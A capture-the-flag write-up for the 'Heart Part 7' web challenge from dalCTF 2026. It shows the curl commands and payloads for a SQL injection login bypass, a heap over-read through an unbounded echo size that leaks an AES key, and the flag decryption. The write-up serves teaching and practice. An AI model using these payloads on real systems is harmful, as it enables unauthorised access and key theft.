惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Check Point Blog
J
Java Code Geeks
H
Hackread – Cybersecurity News, Data Breaches, AI and More
D
Docker
腾讯CDC
The GitHub Blog
The GitHub Blog
大猫的无限游戏
大猫的无限游戏
Microsoft Security Blog
Microsoft Security Blog
GbyAI
GbyAI
Stack Overflow Blog
Stack Overflow Blog
博客园 - 司徒正美
T
The Blog of Author Tim Ferriss
Vercel News
Vercel News
P
Proofpoint News Feed
雷峰网
雷峰网
博客园_首页
B
Blog RSS Feed
Microsoft Azure Blog
Microsoft Azure Blog
爱范儿
爱范儿
V
V2EX
F
Fortinet All Blogs
酷 壳 – CoolShell
酷 壳 – CoolShell
MyScale Blog
MyScale Blog
S
SegmentFault 最新的问题

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
Heart Part 7 - dalCTF 2026
Yogeshwar Peela · 2026-06-08 · via DEV Community
Cover image for Heart Part 7 - dalCTF 2026

Yogeshwar Peela

Category: Web

Flag: dalctf{p1mp_p1mp_h00r4y}


Overview

A multi-stage web challenge themed around Kendrick Lamar's m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:

  1. SQL injection to bypass authentication and get an admin JWT
  2. Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key
  3. Fetching and decrypting the flag using the leaked key and a separate IV field in the API response

Step 1 - SQL Injection → Admin Session

The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.

curl -X POST https://<target>/login \
  -d "username=admin'-- -&password=x"

Response:

HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q

Decoded JWT payload:

{"username": "admin", "role": "admin"}

The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.


Step 2 - Heap Memory Leak via Cipher Health Endpoint

The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.

curl -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}'

Response (echo field, base64-decoded):

A[63 null bytes]KENDRICK_MASTER_KEY=<32 raw key bytes>

Extracting the key:

curl -s -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"

Leaked key:

9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d

The variable name KENDRICK_MASTER_KEY and the service name MAadCipher are both nods to the Kendrick Lamar theme running throughout the challenge.


Step 3 - Fetching the Encrypted Flag

The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.

curl -s https://<target>/api/flag \
  -b "session=<admin_jwt>"

Full response:

{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}

Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding _h00r4y} — the tail of the flag. The correct IV was always in the "iv" field.


Step 4 - Decrypting the Flag

With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.

python3 - <<'EOF'
from base64 import b64decode
import subprocess

KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv  = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct  = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")

result = subprocess.run(
    ["openssl", "enc", "-d", "-aes-256-cbc",
     "-K", KEY, "-iv", iv.hex(), "-nosalt"],
    input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF

Output:

FLAG: dalctf{p1mp_p1mp_h00r4y}


Attack Chain Summary

Login page
  └─ SQL injection (admin'-- -)
       └─ Admin JWT session
            └─ /cipher/health heap leak
                 └─ KENDRICK_MASTER_KEY (AES-256 key)
                      └─ /api/flag → ciphertext + iv
                           └─ AES-256-CBC decrypt
                                └─ dalctf{p1mp_p1mp_h00r4y}


Key Takeaways

  • Always read the full API response. The IV was in the JSON the whole time - only extracting ciphertext caused the "missing block" rabbit hole.
  • Unbounded echo buffers leak heap memory. The size parameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read).
  • Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.